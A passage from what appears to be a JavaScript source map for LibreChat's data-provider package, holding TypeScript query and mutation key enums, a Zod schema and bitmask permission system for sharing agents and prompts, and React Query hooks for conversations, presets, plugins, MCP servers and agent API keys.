= 'searchEnabled',\n user = 'user',\n name = 'name', // user key name\n models = 'models',\n balance = 'balance',\n endpoints = 'endpoints',\n presets = 'presets',\n searchResults = 'searchResults',\n tokenCount = 'tokenCount',\n availablePlugins = 'availablePlugins',\n startupConfig = 'startupConfig',\n assistants = 'assistants',\n assistant = 'assistant',\n agents = 'agents',\n agent = 'agent',\n files = 'files',\n fileConfig = 'fileConfig',\n tools = 'tools',\n toolAuth = 'toolAuth',\n toolCalls = 'toolCalls',\n mcpTools = 'mcpTools',\n mcpConnectionStatus = 'mcpConnectionStatus',\n mcpAuthValues = 'mcpAuthValues',\n agentTools = 'agentTools',\n actions = 'actions',\n assistantDocs = 'assistantDocs',\n agentDocs = 'agentDocs',\n fileDownload = 'fileDownload',\n voices = 'voices',\n customConfigSpeech = 'customConfigSpeech',\n prompts = 'prompts',\n prompt = 'prompt',\n promptGroups = 'promptGroups',\n allPromptGroups = 'allPromptGroups',\n promptGroup = 'promptGroup',\n categories = 'categories',\n randomPrompts = 'randomPrompts',\n agentCategories = 'agentCategories',\n marketplaceAgents = 'marketplaceAgents',\n roles = 'roles',\n conversationTags = 'conversationTags',\n health = 'health',\n userTerms = 'userTerms',\n banner = 'banner',\n /* Memories */\n memories = 'memories',\n principalSearch = 'principalSearch',\n accessRoles = 'accessRoles',\n resourcePermissions = 'resourcePermissions',\n effectivePermissions = 'effectivePermissions',\n graphToken = 'graphToken',\n /* MCP Servers */\n mcpServers = 'mcpServers',\n mcpServer = 'mcpServer',\n /* Active Jobs */\n activeJobs = 'activeJobs',\n /* Agent API Keys */\n agentApiKeys = 'agentApiKeys',\n}\n\n// Dynamic query keys that require parameters\nexport const DynamicQueryKeys = {\n agentFiles: (agentId: string) => ['agentFiles', agentId] as const,\n} as const;\n\nexport enum MutationKeys {\n createAgentApiKey = 'createAgentApiKey',\n deleteAgentApiKey = 'deleteAgentApiKey',\n fileUpload = 'fileUpload',\n fileDelete = 'fileDelete',\n updatePreset = 'updatePreset',\n deletePreset = 'deletePreset',\n loginUser = 'loginUser',\n logoutUser = 'logoutUser',\n refreshToken = 'refreshToken',\n avatarUpload = 'avatarUpload',\n speechToText = 'speechToText',\n textToSpeech = 'textToSpeech',\n assistantAvatarUpload = 'assistantAvatarUpload',\n agentAvatarUpload = 'agentAvatarUpload',\n updateAction = 'updateAction',\n updateAgentAction = 'updateAgentAction',\n deleteAction = 'deleteAction',\n deleteAgentAction = 'deleteAgentAction',\n revertAgentVersion = 'revertAgentVersion',\n deleteUser = 'deleteUser',\n updateRole = 'updateRole',\n enableTwoFactor = 'enableTwoFactor',\n verifyTwoFactor = 'verifyTwoFactor',\n updateMemoryPreferences = 'updateMemoryPreferences',\n}\n","import { z } from 'zod';\n\n/**\n * Granular Permission System Types for Agent Sharing\n *\n * This file contains TypeScript interfaces and Zod schemas for the enhanced\n * agent permission system that supports sharing with specific users/groups\n * and Entra ID integration.\n */\n\n// ===== ENUMS & CONSTANTS =====\n\n/**\n * Principal types for permission system\n */\nexport enum PrincipalType {\n USER = 'user',\n GROUP = 'group',\n PUBLIC = 'public',\n ROLE = 'role',\n}\n\n/**\n * Principal model types for MongoDB references\n */\nexport enum PrincipalModel {\n USER = 'User',\n GROUP = 'Group',\n ROLE = 'Role',\n}\n\n/**\n * Source of the principal (local LibreChat or external Entra ID)\n */\nexport type TPrincipalSource = 'local' | 'entra';\n\n/**\n * Access levels for agents\n */\nexport type TAccessLevel = 'none' | 'viewer' | 'editor' | 'owner';\n\n/**\n * Resource types for permission system\n */\nexport enum ResourceType {\n AGENT = 'agent',\n PROMPTGROUP = 'promptGroup',\n MCPSERVER = 'mcpServer',\n REMOTE_AGENT = 'remoteAgent',\n}\n\n/**\n * Permission bit constants for bitwise operations\n */\nexport enum PermissionBits {\n /** 001 - Can view and use agent */\n VIEW = 1,\n /** 010 - Can modify agent settings */\n EDIT = 2,\n /** 100 - Can delete agent */\n DELETE = 4,\n /** 1000 - Can share agent with others (future) */\n SHARE = 8,\n}\n\n/**\n * Standard access role IDs\n */\nexport enum AccessRoleIds {\n AGENT_VIEWER = 'agent_viewer',\n AGENT_EDITOR = 'agent_editor',\n AGENT_OWNER = 'agent_owner',\n PROMPTGROUP_VIEWER = 'promptGroup_viewer',\n PROMPTGROUP_EDITOR = 'promptGroup_editor',\n PROMPTGROUP_OWNER = 'promptGroup_owner',\n MCPSERVER_VIEWER = 'mcpServer_viewer',\n MCPSERVER_EDITOR = 'mcpServer_editor',\n MCPSERVER_OWNER = 'mcpServer_owner',\n REMOTE_AGENT_VIEWER = 'remoteAgent_viewer',\n REMOTE_AGENT_EDITOR = 'remoteAgent_editor',\n REMOTE_AGENT_OWNER = 'remoteAgent_owner',\n}\n\n// ===== ZOD SCHEMAS =====\n\n/**\n * Principal schema - represents a user, group, role, or public access\n */\nexport const principalSchema = z.object({\n type: z.nativeEnum(PrincipalType),\n id: z.string().optional(), // undefined for 'public' type, role name for 'role' type\n name: z.string().optional(),\n email: z.string().optional(), // for user and group types\n source: z.enum(['local', 'entra']).optional(),\n avatar: z.string().optional(), // for user and group types\n description: z.string().optional(), // for group and role types\n idOnTheSource: z.string().optional(), // Entra ID for users/groups\n accessRoleId: z.nativeEnum(AccessRoleIds).optional(), // Access role ID for permissions\n memberCount: z.number().optional(), // for group type\n});\n\n/**\n * Access role schema - defines named permission sets\n */\nexport const accessRoleSchema = z.object({\n accessRoleId: z.nativeEnum(AccessRoleIds),\n name: z.string(),\n description: z.string().optional(),\n resourceType: z.nativeEnum(ResourceType).default(ResourceType.AGENT),\n permBits: z.number(),\n});\n\n/**\n * Permission entry schema - represents a single ACL entry\n */\nexport const permissionEntrySchema = z.object({\n id: z.string(),\n principalType: z.nativeEnum(PrincipalType),\n principalId: z.string().optional(), // undefined for 'public'\n principalName: z.string().optional(),\n role: accessRoleSchema,\n grantedBy: z.string(),\n grantedAt: z.string(), // ISO date string\n inheritedFrom: z.string().optional(), // for project-level inheritance\n source: z.enum(['local', 'entra']).optional(),\n});\n\n/**\n * Resource permissions response schema\n */\nexport const resourcePermissionsResponseSchema = z.object({\n resourceType: z.nativeEnum(ResourceType),\n resourceId: z.string(),\n permissions: z.array(permissionEntrySchema),\n});\n\n/**\n * Update resource permissions request schema\n * This matches the user's requirement for the frontend DTO structure\n */\nexport const updateResourcePermissionsRequestSchema = z.object({\n updated: principalSchema.array(),\n removed: principalSchema.array(),\n public: z.boolean(),\n publicAccessRoleId: z.string().optional(),\n});\n\n/**\n * Update resource permissions response schema\n * Returns the updated permissions with accessRoleId included\n */\nexport const updateResourcePermissionsResponseSchema = z.object({\n message: z.string(),\n results: z.object({\n principals: principalSchema.array(),\n public: z.boolean(),\n publicAccessRoleId: z.string().optional(),\n }),\n});\n\n// ===== TYPESCRIPT TYPES =====\n\n/**\n * Principal - represents a user, group, or public access\n */\nexport type TPrincipal = z.infer<typeof principalSchema>;\n\n/**\n * Access role - defines named permission sets\n */\nexport type TAccessRole = z.infer<typeof accessRoleSchema>;\n\n/**\n * Permission entry - represents a single ACL entry\n */\nexport type TPermissionEntry = z.infer<typeof permissionEntrySchema>;\n\n/**\n * Resource permissions response\n */\nexport type TResourcePermissionsResponse = z.infer<typeof resourcePermissionsResponseSchema>;\n\n/**\n * Update resource permissions request\n * This matches the user's requirement for the frontend DTO structure\n */\nexport type TUpdateResourcePermissionsRequest = z.infer<\n typeof updateResourcePermissionsRequestSchema\n>;\n\n/**\n * Update resource permissions response\n * Returns the updated permissions with accessRoleId included\n */\nexport type TUpdateResourcePermissionsResponse = z.infer<\n typeof updateResourcePermissionsResponseSchema\n>;\n\n/**\n * Principal search request parameters\n */\nexport type TPrincipalSearchParams = {\n q: string;\n limit?: number;\n types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE>;\n};\n\n/**\n * Principal search result item\n */\nexport type TPrincipalSearchResult = {\n id?: string | null; // null for Entra ID principals that don't exist locally yet\n type: PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE;\n name: string;\n email?: string; // for users and groups\n username?: string; // for users\n avatar?: string; // for users and groups\n provider?: string; // for users\n source: 'local' | 'entra';\n memberCount?: number; // for groups\n description?: string; // for groups\n idOnTheSource?: string; // Entra ID for users (maps to openidId) and groups (maps to idOnTheSource)\n};\n\n/**\n * Principal search response\n */\nexport type TPrincipalSearchResponse = {\n query: string;\n limit: number;\n types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE> | null;\n results: TPrincipalSearchResult[];\n count: number;\n sources: {\n local: number;\n entra: number;\n };\n};\n\n/**\n * Available roles response\n */\nexport type TAvailableRolesResponse = {\n resourceType: ResourceType;\n roles: TAccessRole[];\n};\n\n/**\n * Get resource permissions response schema\n * This matches the enhanced aggregation-based endpoint response format\n */\nexport const getResourcePermissionsResponseSchema = z.object({\n resourceType: z.nativeEnum(ResourceType),\n resourceId: z.nativeEnum(AccessRoleIds),\n principals: z.array(principalSchema),\n public: z.boolean(),\n publicAccessRoleId: z.nativeEnum(AccessRoleIds).optional(),\n});\n\n/**\n * Get resource permissions response type\n * This matches the enhanced aggregation-based endpoint response format\n */\nexport type TGetResourcePermissionsResponse = z.infer<typeof getResourcePermissionsResponseSchema>;\n\n/**\n * Effective permissions response schema\n * Returns just the permission bitmask for a user on a resource\n */\nexport const effectivePermissionsResponseSchema = z.object({\n permissionBits: z.number(),\n});\n\n/**\n * Effective permissions response type\n * Returns just the permission bitmask for a user on a resource\n */\nexport type TEffectivePermissionsResponse = z.infer<typeof effectivePermissionsResponseSchema>;\n\n/**\n * All effective permissions response type\n * Map of resourceId to permissionBits for all accessible resources\n */\nexport type TAllEffectivePermissionsResponse = Record<string, number>;\n\n// ===== UTILITY TYPES =====\n\n/**\n * Permission check result\n */\nexport interface TPermissionCheck {\n canView: boolean;\n canEdit: boolean;\n canDelete: boolean;\n canShare: boolean;\n accessLevel: TAccessLevel;\n}\n\n// ===== HELPER FUNCTIONS =====\n\n/**\n * Convert permission bits to access level\n */\nexport function permBitsToAccessLevel(permBits: number): TAccessLevel {\n if ((permBits & PermissionBits.DELETE) > 0) return 'owner';\n if ((permBits & PermissionBits.EDIT) > 0) return 'editor';\n if ((permBits & PermissionBits.VIEW) > 0) return 'viewer';\n return 'none';\n}\n\n/**\n * Convert access role ID to permission bits\n */\nexport function accessRoleToPermBits(accessRoleId: string): number {\n switch (accessRoleId) {\n case AccessRoleIds.AGENT_VIEWER:\n case AccessRoleIds.PROMPTGROUP_VIEWER:\n case AccessRoleIds.MCPSERVER_VIEWER:\n case AccessRoleIds.REMOTE_AGENT_VIEWER:\n return PermissionBits.VIEW;\n case AccessRoleIds.AGENT_EDITOR:\n case AccessRoleIds.PROMPTGROUP_EDITOR:\n case AccessRoleIds.MCPSERVER_EDITOR:\n case AccessRoleIds.REMOTE_AGENT_EDITOR:\n return PermissionBits.VIEW | PermissionBits.EDIT;\n case AccessRoleIds.AGENT_OWNER:\n case AccessRoleIds.PROMPTGROUP_OWNER:\n case AccessRoleIds.MCPSERVER_OWNER:\n case AccessRoleIds.REMOTE_AGENT_OWNER:\n return (\n PermissionBits.VIEW | PermissionBits.EDIT | PermissionBits.DELETE | PermissionBits.SHARE\n );\n default:\n return PermissionBits.VIEW;\n }\n}\n\n/**\n * Check if permission bitmask contains other bitmask\n * @param permissions - The permission bitmask to check\n * @param requiredPermission - The required permission bit(s)\n * @returns {boolean} Whether permissions contains requiredPermission\n */\nexport function hasPermissions(permissions: number, requiredPermission: number): boolean {\n return (permissions & requiredPermission) === requiredPermission;\n}\n","import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';\nimport type {\n UseQueryOptions,\n UseMutationResult,\n QueryObserverResult,\n} from '@tanstack/react-query';\nimport { Constants, initialModelsConfig } from '../config';\nimport { defaultOrderQuery } from '../types/assistants';\nimport { MCPServerConnectionStatusResponse } from '../types/queries';\nimport * as dataService from '../data-service';\nimport * as m from '../types/mutations';\nimport * as q from '../types/queries';\nimport { QueryKeys } from '../keys';\nimport * as s from '../schemas';\nimport * as t from '../types';\nimport * as permissions from '../accessPermissions';\nimport { ResourceType } from '../accessPermissions';\n\nexport { hasPermissions } from '../accessPermissions';\n\nexport const useGetSharedMessages = (\n shareId: string,\n config?: UseQueryOptions<t.TSharedMessagesResponse>,\n): QueryObserverResult<t.TSharedMessagesResponse> => {\n return useQuery<t.TSharedMessagesResponse>(\n [QueryKeys.sharedMessages, shareId],\n () => dataService.getSharedMessages(shareId),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n ...config,\n },\n );\n};\n\nexport const useGetSharedLinkQuery = (\n conversationId: string,\n config?: UseQueryOptions<t.TSharedLinkGetResponse>,\n): QueryObserverResult<t.TSharedLinkGetResponse> => {\n const queryClient = useQueryClient();\n return useQuery<t.TSharedLinkGetResponse>(\n [QueryKeys.sharedLinks, conversationId],\n () => dataService.getSharedLink(conversationId),\n {\n enabled:\n !!conversationId &&\n conversationId !== Constants.NEW_CONVO &&\n conversationId !== Constants.PENDING_CONVO,\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n onSuccess: (data) => {\n queryClient.setQueryData([QueryKeys.sharedLinks, conversationId], {\n conversationId: data.conversationId,\n shareId: data.shareId,\n });\n },\n ...config,\n },\n );\n};\n\nexport const useGetConversationByIdQuery = (\n id: string,\n config?: UseQueryOptions<s.TConversation>,\n): QueryObserverResult<s.TConversation> => {\n return useQuery<s.TConversation>(\n [QueryKeys.conversation, id],\n () => dataService.getConversationById(id),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n ...config,\n },\n );\n};\n\n//This isn't ideal because its just a query and we're using mutation, but it was the only way\n//to make it work with how the Chat component is structured\nexport const useGetConversationByIdMutation = (id: string): UseMutationResult<s.TConversation> => {\n const queryClient = useQueryClient();\n return useMutation(() => dataService.getConversationById(id), {\n // onSuccess: (res: s.TConversation) => {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.conversation, id]);\n },\n });\n};\n\nexport const useUpdateMessageMutation = (\n id: string,\n): UseMutationResult<unknown, unknown, t.TUpdateMessageRequest, unknown> => {\n const queryClient = useQueryClient();\n return useMutation((payload: t.TUpdateMessageRequest) => dataService.updateMessage(payload), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.messages, id]);\n },\n });\n};\n\nexport const useUpdateMessageContentMutation = (\n conversationId: string,\n): UseMutationResult<unknown, unknown, t.TUpdateMessageContent, unknown> => {\n const queryClient = useQueryClient();\n return useMutation(\n (payload: t.TUpdateMessageContent) => dataService.updateMessageContent(payload),\n {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.messages, conversationId]);\n },\n },\n );\n};\n\nexport const useUpdateUserKeysMutation = (): UseMutationResult<\n t.TUser,\n unknown,\n t.TUpdateUserKeyRequest,\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation((payload: t.TUpdateUserKeyRequest) => dataService.updateUserKey(payload), {\n onSuccess: (data, variables) => {\n queryClient.invalidateQueries([QueryKeys.name, variables.name]);\n },\n });\n};\n\nexport const useClearConversationsMutation = (): UseMutationResult<unknown> => {\n const queryClient = useQueryClient();\n return useMutation(() => dataService.clearAllConversations(), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.allConversations]);\n },\n });\n};\n\nexport const useRevokeUserKeyMutation = (name: string): UseMutationResult<unknown> => {\n const queryClient = useQueryClient();\n return useMutation(() => dataService.revokeUserKey(name), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.name, name]);\n if (s.isAssistantsEndpoint(name)) {\n queryClient.invalidateQueries([QueryKeys.assistants, name, defaultOrderQuery]);\n queryClient.invalidateQueries([QueryKeys.assistantDocs]);\n queryClient.invalidateQueries([QueryKeys.assistants]);\n queryClient.invalidateQueries([QueryKeys.assistant]);\n queryClient.invalidateQueries([QueryKeys.mcpTools]);\n queryClient.invalidateQueries([QueryKeys.actions]);\n queryClient.invalidateQueries([QueryKeys.tools]);\n }\n },\n });\n};\n\nexport const useRevokeAllUserKeysMutation = (): UseMutationResult<unknown> => {\n const queryClient = useQueryClient();\n return useMutation(() => dataService.revokeAllUserKeys(), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.name]);\n queryClient.invalidateQueries([\n QueryKeys.assistants,\n s.EModelEndpoint.assistants,\n defaultOrderQuery,\n ]);\n queryClient.invalidateQueries([\n QueryKeys.assistants,\n s.EModelEndpoint.azureAssistants,\n defaultOrderQuery,\n ]);\n queryClient.invalidateQueries([QueryKeys.assistantDocs]);\n queryClient.invalidateQueries([QueryKeys.assistants]);\n queryClient.invalidateQueries([QueryKeys.assistant]);\n queryClient.invalidateQueries([QueryKeys.mcpTools]);\n queryClient.invalidateQueries([QueryKeys.actions]);\n queryClient.invalidateQueries([QueryKeys.tools]);\n },\n });\n};\n\nexport const useGetModelsQuery = (\n config?: UseQueryOptions<t.TModelsConfig>,\n): QueryObserverResult<t.TModelsConfig> => {\n return useQuery<t.TModelsConfig>([QueryKeys.models], () => dataService.getModels(), {\n initialData: initialModelsConfig,\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n staleTime: Infinity,\n ...config,\n });\n};\n\nexport const useCreatePresetMutation = (): UseMutationResult<\n s.TPreset,\n unknown,\n s.TPreset,\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation((payload: s.TPreset) => dataService.createPreset(payload), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.presets]);\n },\n });\n};\n\nexport const useDeletePresetMutation = (): UseMutationResult<\n m.PresetDeleteResponse,\n unknown,\n s.TPreset | undefined,\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation((payload: s.TPreset | undefined) => dataService.deletePreset(payload), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.presets]);\n },\n });\n};\n\nexport const useUpdateTokenCountMutation = (): UseMutationResult<\n t.TUpdateTokenCountResponse,\n unknown,\n { text: string },\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation(({ text }: { text: string }) => dataService.updateTokenCount(text), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.tokenCount]);\n },\n });\n};\n\nexport const useRegisterUserMutation = (\n options?: m.RegistrationOptions,\n): UseMutationResult<t.TError, unknown, t.TRegisterUser, unknown> => {\n const queryClient = useQueryClient();\n return useMutation<t.TRegisterUserResponse, t.TError, t.TRegisterUser>(\n (payload: t.TRegisterUser) => dataService.register(payload),\n {\n ...options,\n onSuccess: (...args) => {\n queryClient.invalidateQueries([QueryKeys.user]);\n if (options?.onSuccess) {\n options.onSuccess(...args);\n }\n },\n },\n );\n};\n\nexport const useUserKeyQuery = (\n name: string,\n config?: UseQueryOptions<t.TCheckUserKeyResponse>,\n): QueryObserverResult<t.TCheckUserKeyResponse> => {\n return useQuery<t.TCheckUserKeyResponse>(\n [QueryKeys.name, name],\n () => {\n if (!name) {\n return Promise.resolve({ expiresAt: '' });\n }\n return dataService.userKeyQuery(name);\n },\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n retry: false,\n ...config,\n },\n );\n};\n\nexport const useRequestPasswordResetMutation = (): UseMutationResult<\n t.TRequestPasswordResetResponse,\n unknown,\n t.TRequestPasswordReset,\n unknown\n> => {\n return useMutation((payload: t.TRequestPasswordReset) =>\n dataService.requestPasswordReset(payload),\n );\n};\n\nexport const useResetPasswordMutation = (): UseMutationResult<\n unknown,\n unknown,\n t.TResetPassword,\n unknown\n> => {\n return useMutation((payload: t.TResetPassword) => dataService.resetPassword(payload));\n};\n\nexport const useAvailablePluginsQuery = <TData = s.TPlugin[]>(\n config?: UseQueryOptions<s.TPlugin[], unknown, TData>,\n): QueryObserverResult<TData> => {\n return useQuery<s.TPlugin[], unknown, TData>(\n [QueryKeys.availablePlugins],\n () => dataService.getAvailablePlugins(),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n ...config,\n },\n );\n};\n\nexport const useUpdateUserPluginsMutation = (\n _options?: m.UpdatePluginAuthOptions,\n): UseMutationResult<t.TUser, unknown, t.TUpdateUserPlugins, unknown> => {\n const queryClient = useQueryClient();\n const { onSuccess, ...options } = _options ?? {};\n return useMutation((payload: t.TUpdateUserPlugins) => dataService.updateUserPlugins(payload), {\n ...options,\n onSuccess: (...args) => {\n queryClient.invalidateQueries([QueryKeys.user]);\n onSuccess?.(...args);\n if (args[1]?.action === 'uninstall' && args[1]?.pluginKey?.startsWith(Constants.mcp_prefix)) {\n const serverName = args[1]?.pluginKey?.substring(Constants.mcp_prefix.length);\n queryClient.invalidateQueries([QueryKeys.mcpAuthValues, serverName]);\n }\n },\n });\n};\n\nexport const useReinitializeMCPServerMutation = (): UseMutationResult<\n {\n success: boolean;\n message: string;\n serverName: string;\n oauthRequired?: boolean;\n oauthUrl?: string;\n },\n unknown,\n string,\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation((serverName: string) => dataService.reinitializeMCPServer(serverName), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.mcpTools]);\n },\n });\n};\n\nexport const useCancelMCPOAuthMutation = (): UseMutationResult<\n m.CancelMCPOAuthResponse,\n unknown,\n string,\n unknown\n> => {\n const queryClient = useQueryClient();\n return useMutation((serverName: string) => dataService.cancelMCPOAuth(serverName), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.mcpConnectionStatus]);\n },\n });\n};\n\nexport const useGetCustomConfigSpeechQuery = (\n config?: UseQueryOptions<t.TCustomConfigSpeechResponse>,\n): QueryObserverResult<t.TCustomConfigSpeechResponse> => {\n return useQuery<t.TCustomConfigSpeechResponse>(\n [QueryKeys.customConfigSpeech],\n () => dataService.getCustomConfigSpeech(),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n ...config,\n },\n );\n};\n\nexport const useUpdateFeedbackMutation = (\n conversationId: string,\n messageId: string,\n): UseMutationResult<t.TUpdateFeedbackResponse, Error, t.TUpdateFeedbackRequest> => {\n const queryClient = useQueryClient();\n return useMutation(\n (payload: t.TUpdateFeedbackRequest) =>\n dataService.updateFeedback(conversationId, messageId, payload),\n {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.messages, messageId]);\n },\n },\n );\n};\n\nexport const useSearchPrincipalsQuery = (\n params: q.PrincipalSearchParams,\n config?: UseQueryOptions<q.PrincipalSearchResponse>,\n): QueryObserverResult<q.PrincipalSearchResponse> => {\n return useQuery<q.PrincipalSearchResponse>(\n [QueryKeys.principalSearch, params],\n () => dataService.searchPrincipals(params),\n {\n enabled: !!params.q && params.q.length >= 2,\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n staleTime: 30000,\n ...config,\n },\n );\n};\n\nexport const useGetAccessRolesQuery = (\n resourceType: ResourceType,\n config?: UseQueryOptions<q.AccessRolesResponse>,\n): QueryObserverResult<q.AccessRolesResponse> => {\n return useQuery<q.AccessRolesResponse>(\n [QueryKeys.accessRoles, resourceType],\n () => dataService.getAccessRoles(resourceType),\n {\n enabled: !!resourceType,\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n staleTime: 5 * 60 * 1000, // Cache for 5 minutes\n ...config,\n },\n );\n};\n\nexport const useGetResourcePermissionsQuery = (\n resourceType: ResourceType,\n resourceId: string,\n config?: UseQueryOptions<permissions.TGetResourcePermissionsResponse>,\n): QueryObserverResult<permissions.TGetResourcePermissionsResponse> => {\n return useQuery<permissions.TGetResourcePermissionsResponse>(\n [QueryKeys.resourcePermissions, resourceType, resourceId],\n () => dataService.getResourcePermissions(resourceType, resourceId),\n {\n enabled: !!resourceType && !!resourceId,\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n staleTime: 2 * 60 * 1000, // Cache for 2 minutes\n ...config,\n },\n );\n};\n\nexport const useUpdateResourcePermissionsMutation = (): UseMutationResult<\n permissions.TUpdateResourcePermissionsResponse,\n Error,\n {\n resourceType: ResourceType;\n resourceId: string;\n data: permissions.TUpdateResourcePermissionsRequest;\n }\n> => {\n const queryClient = useQueryClient();\n\n return useMutation({\n mutationFn: ({ resourceType, resourceId, data }) =>\n dataService.updateResourcePermissions(resourceType, resourceId, data),\n onSuccess: (_, variables) => {\n queryClient.invalidateQueries({\n queryKey: [QueryKeys.accessRoles, variables.resourceType],\n });\n\n queryClient.invalidateQueries({\n queryKey: [QueryKeys.resourcePermissions, variables.resourceType, variables.resourceId],\n });\n\n queryClient.invalidateQueries({\n queryKey: [QueryKeys.effectivePermissions, variables.resourceType, variables.resourceId],\n });\n },\n });\n};\n\nexport const useGetEffectivePermissionsQuery = (\n resourceType: ResourceType,\n resourceId: string,\n config?: UseQueryOptions<permissions.TEffectivePermissionsResponse>,\n): QueryObserverResult<permissions.TEffectivePermissionsResponse> => {\n return useQuery<permissions.TEffectivePermissionsResponse>({\n queryKey: [QueryKeys.effectivePermissions, resourceType, resourceId],\n queryFn: () => dataService.getEffectivePermissions(resourceType, resourceId),\n enabled: !!resourceType && !!resourceId,\n refetchOnWindowFocus: false,\n staleTime: 30000,\n ...config,\n });\n};\n\nexport const useGetAllEffectivePermissionsQuery = (\n resourceType: ResourceType,\n config?: UseQueryOptions<permissions.TAllEffectivePermissionsResponse>,\n): QueryObserverResult<permissions.TAllEffectivePermissionsResponse> => {\n return useQuery<permissions.TAllEffectivePermissionsResponse>({\n queryKey: [QueryKeys.effectivePermissions, 'all', resourceType],\n queryFn: () => dataService.getAllEffectivePermissions(resourceType),\n enabled: !!resourceType,\n refetchOnWindowFocus: false,\n staleTime: 30000,\n ...config,\n });\n};\n\nexport const useMCPServerConnectionStatusQuery = (\n serverName: string,\n config?: UseQueryOptions<MCPServerConnectionStatusResponse>,\n): QueryObserverResult<MCPServerConnectionStatusResponse> => {\n return useQuery<MCPServerConnectionStatusResponse>(\n [QueryKeys.mcpConnectionStatus, serverName],\n () => dataService.getMCPServerConnectionStatus(serverName),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n staleTime: 10000, // 10 seconds\n enabled: !!serverName,\n ...config,\n },\n );\n};\n\nexport const useGetAgentApiKeysQuery = (\n config?: UseQueryOptions<t.TAgentApiKeyListResponse>,\n): QueryObserverResult<t.TAgentApiKeyListResponse> => {\n return useQuery<t.TAgentApiKeyListResponse>(\n [QueryKeys.agentApiKeys],\n () => dataService.getAgentApiKeys(),\n {\n refetchOnWindowFocus: false,\n refetchOnReconnect: false,\n refetchOnMount: false,\n ...config,\n },\n );\n};\n\nexport const useCreateAgentApiKeyMutation = (): UseMutationResult<\n t.TAgentApiKeyCreateResponse,\n unknown,\n t.TAgentApiKeyCreateRequest\n> => {\n const queryClient = useQueryClient();\n return useMutation(\n (payload: t.TAgentApiKeyCreateRequest) => dataService.createAgentApiKey(payload),\n {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.agentApiKeys]);\n },\n },\n );\n};\n\nexport const useDeleteAgentApiKeyMutation = (): UseMutationResult<void, unknown, string> => {\n const queryClient = useQueryClient();\n return useMutation((id: string) => dataService.deleteAgentApiKey(id), {\n onSuccess: () => {\n queryClient.invalidateQueries([QueryKeys.agentApiKeys]);\n },\n });\n};\n"],"names":["Tools","EToolResources","AnnotationTypes","StepStatus","MessageContentTypes","RunStatus","FilePurpose","AssistantStreamEvents","defaultOrderQuery","order","limit","AuthType","feedbackTagKeySchema","z","enum","feedbackRatingSchema","feedbackSchema","object","rating","tag","text","string","max","optional","uuid","EModelEndpoint","Providers","BedrockProviders","authTypeSchema","nativeEnum","Set","anthropic","openAI","bedrock","custom","google","VERTEXAI","MISTRALAI","MISTRAL","DEEPSEEK","MOONSHOT","OPENROUTER","XAI","OPENAI","AZURE","agents","azureOpenAI","ImageDetail","ReasoningEffort","AnthropicEffort","BedrockReasoningConfig","ReasoningSummary","Verbosity","ThinkingLevel","_a","low","auto","high","eImageDetailSchema","eReasoningEffortSchema","eAnthropicEffortSchema","eReasoningSummarySchema","eVerbositySchema","eThinkingLevelSchema","_b","agent","id","name","description","instructions","model","model_parameters","tools","tool_options","provider","edges","artifacts","recursion_limit","undefined","execute_code","file_search","web_search","category","support_contact","email","type","function","parameters","properties","required","openAISettings","default","temperature","min","step","top_p","presence_penalty","frequency_penalty","resendFiles","maxContextTokens","max_tokens","imageDetail","googleSettings","maxOutputTokens","topP","topK","thinking","thinkingBudget","thinkingLevel","unset","ANTHROPIC_MAX_OUTPUT","CLAUDE_4_64K_MAX_OUTPUT","CLAUDE_32K_MAX_OUTPUT","anthropicSettings","promptCache","reset","modelName","test","set","value","legacy","effort","options","medium","agentsSettings","_d","eModelEndpointSchema","extendedModelEndpointSchema","union","tPluginAuthConfigSchema","authField","label","boolean","tPluginSchema","pluginKey","icon","authConfig","array","authenticated","chatMenu","isButton","toolkit","tExampleSchema","input","content","output","messageId","endpoint","clientId","nullable","conversationId","parentMessageId","responseMessageId","overrideParentMessageId","bg","title","or","literal","sender","generation","isCreatedByUser","error","clientTimestamp","createdAt","Date","toISOString","updatedAt","current","unfinished","searchResult","finish_reason","thread_id","iconURL","feedback","metadata","record","unknown","contextMeta","calibrationRatio","number","describe","encoding","coerceNumber","transform","val","trim","parseFloat","DocumentType","lazy","null","tConversationSchema","endpointType","isArchived","user","messages","modelLabel","userLabel","promptPrefix","system","stream","context","examples","tags","file_ids","reasoning_effort","reasoning_summary","verbosity","useResponsesApi","disableStreaming","assistant_id","agent_id","region","maxTokens","additionalModelRequestFields","additional_instructions","append_current_datetime","presetOverride","stop",